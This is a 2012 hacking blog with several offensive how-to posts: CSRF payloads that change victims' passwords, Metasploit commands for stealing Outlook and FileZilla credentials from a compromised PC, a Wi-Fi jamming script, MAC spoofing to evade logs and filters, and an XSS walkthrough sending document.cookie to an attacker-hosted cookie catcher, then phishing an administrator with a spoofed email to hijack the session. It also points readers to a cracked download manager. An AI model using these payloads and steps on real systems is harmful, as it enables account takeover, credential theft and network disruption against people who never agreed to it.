Sunday, October 28, 2012

How to exploit CSRF vulnerability(CSRF tutorial)?

Today, I'm going to explain you about WEB vulnerability that not everyone knows...but it very popular.This vulnerability is very dangerous and effective.Usually, the vulnerability exploiting never leave evidences.This vulnerability called: Cross Site Request Forgery(CSRF).CSRF and the way to exploit it is extremely easy; Much easier then all the complicated injections.

How does it works?

It works by forcing the slave's browser to run HTTP requests in order to implement a range of actions, for example :
  • Permission faking\stealing.
  • Transfer of funds from the Bank
  • Disruption of the normal sequence of the site
And much more.
Requirements to exploiting CSRF.
  • Make sure that the slave have SESSION \ COOKIE on the target site.
  • slave must be identified by the network protocol verification (HTTP Authentication)                                                                                                  
Actually, In order to cause the slave to perform unwanted actions he is not aware of, the slave must be logged to the target site with cookies and verified by the browser \ server.

Common uses CSRF attacks.

Common attack is using the image tag (img src) in the HTML document. I mean, in the SRC of the image tag must be inserted malicious link should send HTTP requests to the target, such as a GET request can be excellent. The benefits of using an image tag on the normal link tag (a href) are :
  1. Image tag does not require clicking the link compared Tag-A requires clicking on the link to activate the HTTP request.
  2. Nature of browsers is to send HTTP requests to visual objects such as picture or remote files (CSS, JS, etc.) even while loading the page without the user's permissions. This means the user does not need to perform any action in order to see the image on the page, all he has to do is go to a certain site specific browser sends HTTP requests have to load the image. In this case, since the browser recognizes the HTML code of the image tag, it sends HTTP requests to load the image even if the SRC of the image is not really a picture, but a malicious link ...

For those of you that uses Fire-Bug(Firefox add-on) can see in the next snapshot example of sending an HTTP request from the browser to the server to load an image during the login of the user:
csrf-tutorial

Also, CSRF attacks can be implemented not only through websites but through email messages. Since the mail boxes allow sending data to HTML format, the attached image perfectly legal. In this case I can send a malicious email message to huge amount of recipients, put a photo tag email body when the SRC contain a malicious link, when the slave opens the email, the desired action done.


Exploiting code examples: 


HTML
Using img tag:
PHP Code:
<img style="display:none;" src="http://targetsite.com/change_password.php?new_password=123456">

Using iframe tag:
PHP Code:
<iframe src="http://targetsite.com/change_password.php?new_password=123456"></iframe>

Java Script
using image object.
PHP Code:
<script>
var poniz = new Image();
test.poniz = "http://targetsite.com/change_password.php?new_password=123456";
</script>

Exploiting sequence

Here a cool example that actually belong to Black-SEO.
What I want to check in my user control panel is the parameters are sent as a request to HTTP server when I'm updating my home page via the user control panel.
There are a variety of fields that can be updated, such as address, phone, email, name, content, and most importantly for this example: The favorite website\home page address.
These parameters are sent to the server when updating my website address. So it seems to Firebug: 
csrf-tutorial

 
These parameters are sent to the server using POST method. So we do not see the parameters in the URL address. But, if the parameters will be written via GET method, the data will sent? Let's see.
Code:
http://targetsite.com?users.php?db[webaddress]=http://www.PonizSite.com&action=save
It works! (Actually...in the server-side code(php), the variable was in REQUEST method...but it's not matter)

Now ... Imagine that Dork like this one:
Quote:
site:targetsite.com & intext:"Homepage" & intext:"email: "

Now, I've got all the emails of users and I can send them an emails with img tag, and when they will open it, their home page\website addressfield in their profile will change(To http://www.ponizSite.com) Oui

How to prevent?

There are not many hermetical familiar solutions to prevent CSRF attacks.
Except from one: Tokens.
What are actually tokens? This is a hidden random ID responsible for sending structured data, such as logging into forms, forms that allow registered users to update data or home page(in our case Evilgrin)


<input type="hidden" name="8pssf18ssdmf8s7p80fodi" value='1' id="token" />

Since the tokens are defined, the attacker can not know what is the token of the slave, because every loading of the page the token will change to other random number\string.

Tips :
  • Don't forget to delete your cookies.
  • Use tokens(Captcha is safer).
  • When you built your php site, don't use GET \ REQUEST super-global variables.

Saturday, October 27, 2012

Online Hacking tools

Here are some online hacking tools. If your internet connection is slow then you don`t want to download some security software for just information gathering & exploit searching. So you can use online website for this purpose, although big advantage is your i.p is not directly flashing to victim. If you use proxy then it`s more secure because website don`t have your i.p also.

http://www.novirusthanks.org/(Online File Scanner)
http://www.virustotal.com(Online File Scanner)
http://anubis.iseclab.org/(Online File Scanner)
http://www.ipvoid.com/(IP Address scanner)
http://www.threatlog.com/(HoneyPot Database)
http://www.idoproxy.com(proxy)
http://whois.domaintools.com/(Whois lookup)
http://www.robtex.com/(swiss army knife internet tool)
http://www.netirk.com/(Pinger)
http://www.ahbl.org/lktool(IP Lookup)

http://www.blocklist.de/
http://www.cirt.net/passwords(Default password list)
http://www.cirt.net/ports(Default Ports List)
http://www.urlvoid.com/extract-url/(URL Shortener extractor)
http://www.urlvoid.com/http-headers/(Show the HTTP headers of a link)
http://www.urlvoid.com/find-parasites/(Find Parasites)
http://www.urlvoid.com/url-dump/(URL Dump)
http://www.fail2ban.org/wiki/index.php/Main_Page( For your website)
http://www.nmap.org(port scanner)

Exploit Search:

Wednesday, October 24, 2012

What you can do after hacking remote pc?

What you can do after hacking remote pc?

If you know command line interface very well than you can operate remote pc as local pc.
Here I am listing some basic code of metasploit to operate remote pc from your terminal

But before that you have to exploit remote pc . For this purpose check my previous posts of “How to hack remote pc” here .

(1)How to gather installed application in victim pc.
Here are codes
msf >use post/windows/gather/enum_applications
msf post(enum_applications) >set session 1
msf post(enum_applications) >exploit

(2)How to gather usb drive history of victim pc?
Here are codes
msf >use post/windows/gather/usb_history
msf post(usb_history) >set session 1
msf post(usb_history) >exploit

(3)How to gather wireless current connection info?
Codes are below
msf >use post/windows/wlan/wlan_current_connection
msf post(wlan_current_connection) >set session 1
msf post(wlan_current_connection) >exploit

(4)How to find al connected wireless network of victim pc?
Codes are below
msf >use post/windows/wlan/wlan_bss_list
msf post(wlan_bss_list) >set session 1
msf post(wlan_bss_list) >exploit

(5)How to disconnect wireless network of victim pc?
Here are codes
msf >use post/windows/wlan/wlan_disconnect
msf post(wlan_disconnect) >set session 1
msf post(wlan_disconnect) >exploit

(6)How to get windows product key of victim pc?
Here are codes
msf >use post/windows/gather/enum_ms_product_keys
msf post(enum_ms_product_keys) >set session 1
msf post(enum_ms_product_keys) >exploit

(7)How to get save password of outlook?
Codes are below
msf >use post/windows/gather/credentials/outlook
msf post(outlook) >set session 1
msf post(outlook) >exploit

(8)How to get save password of filezill?
Codes are below
msf >use post/multi/gather/filezilla_client_cred
msf post(filezilla_client_cred) >set session 1
msf post(filezilla_client_cred) >exploit

(9)How to detect installed os in victim virtual box?
Here are codes
msf >use post/multi/gather/enum_vbox
msf post(enum_vbox) >set session 1
msf post(enum_vbox) >exploit

How to jam WIFI network in UBUNTU & BACK TRACK?


If you have UBUNTU or BACK TRACK installed ,then you can start from step 7 directly you can skip first six step. If you have windows user start from here.

Step 1: Download Backtrack 5 R2 here as .iso for 32 bit:http://www.backtrack-linux.org/ajax/down...OME-32.iso
and 64 bit:http://www.backtrack-linux.org/ajax/down...OME-64.iso

Step 2: Download UNetbootin for Windows:http://unetbootin.sourceforge.net/unetbo...latest.exe

Step 3: Insert your FAT32 formatted flash/hard drive and open UNetbootin.

Step 4: At the bottom of UNetbootin you'll see it says Disc Image. Select ISO and find your file.
Type: USB-drive.
Letter: H:\ or whatever your computer says.
Then press on OK and let it finish.

Step 5: When it's done, press on Reboot now and when you're booting, remember to boot on your flash/hard drive. I use F12 when I'm booting to change, but it depends on each computer.
Step 6: Select Default, and wait for it to boot. When it's done booting, write "startx" in the console so it will start your desktop.

Step 7: Connect to your favorite WiFi network. Go to the "start icon" in Backtrack, go to Network and find "Wicd Network Manager". Connect to your wireless.

Step 8: Open Terminal and write:
Code:
wget http://wifijammer.googlecode.com/files/wifijammer_0.1.sh

After the transfer has completed you now type:
Code:
chmod +x wifijammer_0.1.sh

Now you write:
Code:
sudo ./wifijammer_0.1.sh wlan0

When that's done, you type in "scan" when it asks you to.

Step 9: You will see a lot of text when it scans. It will look like this:

wifi-jammer

You can see it says "CH" in the window. That means channel. On the picture, the ESSID is the WiFi's name. As you can see, the network with ESSID "openn" is on channel 9.

Wait for the scan to complete, and then (in this example) type in "9" for channel 9.

It will now jam all connections on channel 9, so that the WiFi "openn" will be unavailable. On the picture there's also a network with ESSID "Playh" on channel 9.. That one will also be unavailable.

In some cases, it might jam so hard, that laptops/WiFi searchers won't be able to scan for any WiFi signals at all.

How to download youtube video?


There are lots of method for download you tube videos.But here i am listing some commonly use methods

(1)It`s very easy , Download youtube downloader from here.& install it.open software & copy & paste video url into software.BUT here is problem, if your connection lost then it can not be resumed.

(2)Copy video url from youtube, now open http://keepvid.comor http://savevid.com and paste video url into their site. But for this purpose you should have java program installed.

(3)it`s my favourite method. No software or plugin needed. If you want to download following video
http://youtube.com/watch?v=Y4E9brXa6hAthen just put ss at begining of url like http://ssyoutube.com/watch?v=Y4E9brXa6hA and copy it & paste it in your browser addressbar.

(4)if you have internet download manager installed.it will automatically download when you start watching video. you can download full crack version of internet download manager form here.

Tuesday, October 23, 2012

How to change MAC address?

Changing Your MAC Address In Window XP/Vista, Linux And Mac OS X
(Sometimes known as MAC spoofing)

First let me explain a few things about MAC addresses. MAC stands for Media Access Control and in a sense the MAC address is a computer's true name on a LAN. An Ethernet MAC address is a six byte number, usually expressed as a twelve digit hexadecimal number (Example: 1AB4C234AB1F).

IPs are translated to MAC address by a protocol called ARP (Address Resolution Protocol). Let's say a computer with and IP of 192.168.1.1 wants to send information to another computer on the LAN that has an IP of 192.168.1.2 . First 192.168.1.1 will send out a broadcast to all stations on the LAN asking who has the IP 192.168.1.2. Then the box that has 192.168.1.2 will respond to 192.168.1.1 with it's MAC address which is cached in 192.168.1.1's ARP table for later use. To put this in Socratic Dialog form (with just a touch of Stallone):

Host 1 (192.168.1.1):Yo everyone on the LAN (FF:FF:FF:FF:FF:FF), who has the IP 192.168.1.2? My MAC is DE:AD:BE:EF:CA:FE so you can respond back to me.
Host 2 (192.168.1.2):Hello DE:AD:BE:EF:CA:FE, I have IP 192.168.1.2 and my MAC address is 12:34:56:78:90:12 so you can send your IP packets to me.

You can see the ARP table of a box by dropping out to a command prompt and typing "arp –a" in Windows or just "arp" in Linux. ARP can also work the other way by a host on the LAN sending its MAC address to another machine on the LAN for preemptive caching unless the host is configured to not accept un-requested ARP replies.
A person might want to change the MAC address of a NIC for many reasons:

  1. To get past MAC address filtering on a router. Valid MAC addresses can be found by sniffing them and then the deviant user could assume the MAC of a valid host. Having two hosts on the same network can cause some network stability problems, but much of the time it's workable. This is one of the reasons why MIC Address filtering on a wireless router is pointless. An attacker can just sniff the MAC address out of the air while in monitor mode and set his WiFi NIC to use it. Interestingly, a lot of hotels use MAC filtering in their "pay to surf" schemes, so this method can be an instant in for cheap skate road warriors.

  2. Sniffing other connections on the network. By assuming another host's MAC as their own they may receive packets not meant for them. However, ARP poisoning is generally a better method than MAC spoofing to accomplish this task.

  3. So as to keep their burned in MAC address out of IDS and security logs, thus keeping deviant behavior from being connected to their hardware. For example, two of the main things a DHCP server logs when it leases an IP to a client is the MAC address and host name. If you have a wireless router look around on it's web interface for where it logs this info. Luckily there are tools to randomize this information (MadMACs).

  4. To pull off a denial of service attack, for instance assuming the MAC of the gateway to a sub net might cause traffic problems. Also, a lot of WiFi routers will lock up if a client tries to connect with the same MAC as the router's BSSID.
Linux
To change your MAC address in Linux (and most *nix system) is easy as pie. All it takes is two easy to script commands:

ifconfig eth0 down hw ether 00:00:00:00:00:01
ifconfig eth0 up

These two little commands would set your eth0 interface to use the MAC 00:00:00:00:00:01. Just plug in the NIC you want to set and the MAC address you want to use into the commands above and your done. Changing your MAC address is one of those things that is much easier to do in Linux then under Windows.

Mac OS X

For versions of OS X before Tiger (OS X 10.4) you will need this patch:


Then you use a command like:

sudo ifconfig en0 lladdr 00:00:00:00:00:01

Apparently there are some problems changing your MAC address in versions of OS X 10.5.6 and latter. Stefan Person sent me the following note that should help you get it to work:
Due to a bug in OS X 10.5.6+, the built in mac-address spoofing
function requires the following work around:

To determine your old mac-address:

ifconfig en1 | grep ether

Do not 'Turn Airport Off', instead deactivate your wireless card by:

Click 'Join Other Network...' and enter a fake SSID. Allow it to
attempt a connection and then go ahead and cancel the request. Your
card is now deactivated allowing us to proceed with the following
command:

sudo ifconfig en1 ether 00:11:22:33:44:55

Confirm using:

ifconfig en1 | grep ether

Windows 2000/XP/Vista: The Hard Way



In XP you can use the regedit to edit the registry from a GUI or the reg command to edit it from the console, I'll be using regedit. Information on all your NICs can be found the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\ . Under this key you will find a bunch of sub keys labeled as 0000, 00001, 0002 and so forth. We can assume any MAC address we want by finding the key that controls the NIC we want to change, putting in a string value called "NetworkAddress" and setting it to the MAC address we want to use formatted as a twelve digit hex number (example: 000000000001). To find out which key is which we can search through them for the value "DriverDesc" until we find the one that matches the NIC we wish to alter. After you set "NetworkAddress" to the address you want just restart the NIC by disabling it then enabling it (or in the case of PCMCIA cards, just eject and reinsert). You can confirm the MAC address change by using the "getmac" or "ipconfig /all" commands.

Windows 2000/XP/Vista: The Easy Way

Use MadMACs (http://www.irongeek.com/i.php?page=security/madmacs-mac-spoofer), Smac (http://www.klcconsulting.net/smac/) or Etherchange (http://ntsecurity.nu/toolbox/etherchange/). Mac Makeup is a cool little GUI and Command line tool that's freeware, the creator also offers a Plugin for Bart's PE builder. MadMACs is a tool to randomize your MAC address and host name on every reboot. Smac has a nice GUI and was free but has since gone commercial, there's no reason to bother with it as there are free tools that are just as good. I use MadMACs since I wrote it and it lets me keep my host information randomized.

Have fun with your MAC addresses switching, but be careful not to cause network problems. My favorite MAC address is DEADBEEFCAFE, for other interesting MACs see:


Enjoy.

BSD

1) Bring down the interface: "ifconfig xl0 down"

2) Enter new MAC address: "ifconfig xl0 link 00:00:00:AA:AA:AA"

3) Bring up the interface: "ifconfig xl0 up"

Linux

1) Bring down the interface: "ifconfig eth0 down"

2) Enter new MAC address: "ifconfig eth0 hw ether 00:00:00:AA:AA:AA"

3) Bring up the interface: "ifconfig eth0 up"

Windows 2000/XP
Method 1:

This is depending on the type of Network Interface Card (NIC) you have. If you have a card that doesn't support Clone MAC address, then you have to go to second method.

a) Go to Start->Settings->Control Panel and double click on Network and Dial-up Connections.

b) Right click on the NIC you want to change the MAC address and click on properties.

c) Under "General" tab, click on the "Configure" button

d) Click on "Advanced" tab

e) Under "Property section", you should see an item called "Network Address" or "Locally Administered Address", click on it.

f) On the right side, under "Value", type in the New MAC address you want to assign to your NIC. Usually this value is entered without the "-" between the MAC address numbers.

g) Goto command prompt and type in "ipconfig /all" or "net config rdr" to verify the changes. If the changes are not materialized, then use the second method.

h) If successful, reboot your system.

Method 2:

This should work on all Windows 2000/XP systems

a) Go to Start -> Run, type "regedt32" to start registry editor. Do not use "Regedit".

b) Go to "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}". Double click on it to expand the tree. The subkeys are 4-digit numbers, which represent particular network adapters. You should see it starts with 0000, then 0001, 0002, 0003 and so on.

c) Find the interface you want by searching for the proper "DriverDesc" key.

d) Edit, or add, the string key "NetworkAddress" (has the data type "REG_SZ") to contain the new MAC address.

e) Disable then re-enable the network interface that you changed (or reboot the system).

Method 3:

Use the program Etherchange from http://ntsecurity.nu/toolbox/etherchange/

Windows 9x

Use the same method as Windows 2000/XP except for the registry key location is "HKEY_LOCAL_MACHINE\System\ CurrentControlSet\Services\Class\Net" and you must reboot your system.

Sunday, October 21, 2012

how to do XSS Attack on website?

Hi XSS is in 2 ways, Persistent and Non-Persistent type.

For XSS we will use something called a cookie catcher.
Question will be that why we would need someone else's cookie?
The answer is that we can change our browser's cookies to login as them!!! So lets call it Session Hijacking
First go to a free hosting site like http://www.110mb.com or other php hosting sites and register there. Then download this cookie catcher and upload it.
Cookie Catcher:  http://www.4shared.com/file/oCnEgaDr/cookie_catcher.html

What does the cookie catcher do?

It grabs the user's:

    Cookies

    IP

    Referral link which what page it got to that link

    Time and Date

Get Vulnerable sites:


Ok first we need sites that are vulnerable to XSS so it will work on them.
To test it we will need to add a code after the link.
I will use this site that many of you probably saw it before.
site: click here . Now for testing if a site is vuln or not you can add these codes:

code:

"><script>alert(document.cookie)</script>

code:

'><script>alert(document.cookie)</script>

code:

"><script>alert("test")</script>

code:

'><script>alert("test")</script>

code:

"><body bgcolor="FF000"></body>

code:

"><iframe src="www.google.com" height=800 width=800 frameborder=1 align=center></iframe>


Then if we see a java script popup like this:


xss

Or if you used my testing and you saw the page's background go black or a page of google opens in that site means its vulnerable to XSS attacks.
In the end, if your site is http://www.example.com the link to test it would be: http://www.example.com/index.php?id="><script>alert(document.cookie)</script>


Persistent XSS:

In this method we will grab the victim's cookies with no suspection and completely stealth.
Now assume we have a forum which has HTML enabled or a site which has a comment page which is vulnerable to XSS.
Ok now lets go to this site: click here
Now test and see if the XSS vulnerable test's work on it.
It does!!! And your getting one of the vulnerability's symptoms. So now lets try to grab it's cookies. If there is a box to type and submit it add this:

code

<script>document.location="www.you.110mb.com/cookie catcher.php?c=" + document.cookie</script>

and submit that post in the forum or the comment box also its good to add something before adding the code like: hey i got a problem logging in???
so they wont suspect you .Refresh the page, now go to the newly created page, in the same directory as you saved your cookie catcher .php search for cookies.html which is a new file that show you the cookies. like if your cookie catcher link would be:
http://www.example.com/cookie catcher.php
the container of the cookies would be:
http://www.example.com/cookies.html
Now visit cookies.html and you would see the session of that cookie!
PS: the site i used doesn't support cookies so you can use: click here for cookie supporting.

Now there is another way for a cookie grabbing drive by, add this code and post it:

Code:

<iframe frameborder=0 height=0 width=0 src=javascript:void(document.location="www.you.110mb.com/cookie catcher.php?c="+document.cookie) </iframe>

Then post it in the forum or the comment box.
Now this will open a iframe in the page which will allow you to have the same page in that website. If you don't know about iframes make a new html file in your computer and just do a

<iframe src="www.google.com"></iframe> and you will understand iframes more

ofc the site Needs to have cookies supported! a blank javascript means you need to go to another site.

Non-Persistent XSS:

Ok in this method we will make the victim admin go to our link. First we will pick a XSS vuln site. For this method we will need a search.php which that page is vuln to XSS and has cookies in that page. In the vuln search.php in the textbox for the word to search for type:

code:

<script>alert(document.cookie)</script>

and click the search button. If you see a javascript popup means its vuln to Non-Persistent XSS attack. Ok now we will do something similar.
I will use this link for this method: click here
Now in front of the search.php?search= add this:

Code:

"><script>document.location="www.you.110mb.com/cookie catcher.php?c=" + document.cookie</script>

Now go to http://www.tinyurl.com and shrink the whole page's link. Try to find a site administrator's E-mail in that vuln website and send a Fake Mail from a online fake mailer like this one:


http://tipstrickshack.blogspot.com/2012/09/how-to-spoof-email-addresses.html


Now in the body just tell something fake like: Hey i found a huge bug in your website! and give him the shrinked link of the search.php which you added the code in front of it to him. so the Tinyurl will mask it and once he goes to the link you will see his cookies in your cookies.html and he will just be redirected to the link in your cookies catcher. No matter what he does and changes his password you can still login as him

Session Hijacking:

Ok now you have the admin's cookies either way, so we need to edit our own browser's cookies. First go to that page's admin login or its main page and delete ALL of your cookies from that page. Now go in your cookies.html page and copy everything in front of the Cookie: in a note opened Notepad. The ; separates cookies from each other so first copy the code before the ; .
Now go in that vuln website and clear the link. instead add this:

Code:

Javascript:void(document.cookie="")

or for an example:

Code:

Javascript:void(document.cookie="__utma=255621336.1130089386.1295743598.1305934653.1305950205.86")

Then visit the link. Do this with all of the cookies and refresh the page. And wham!!! your logged in as administrator :)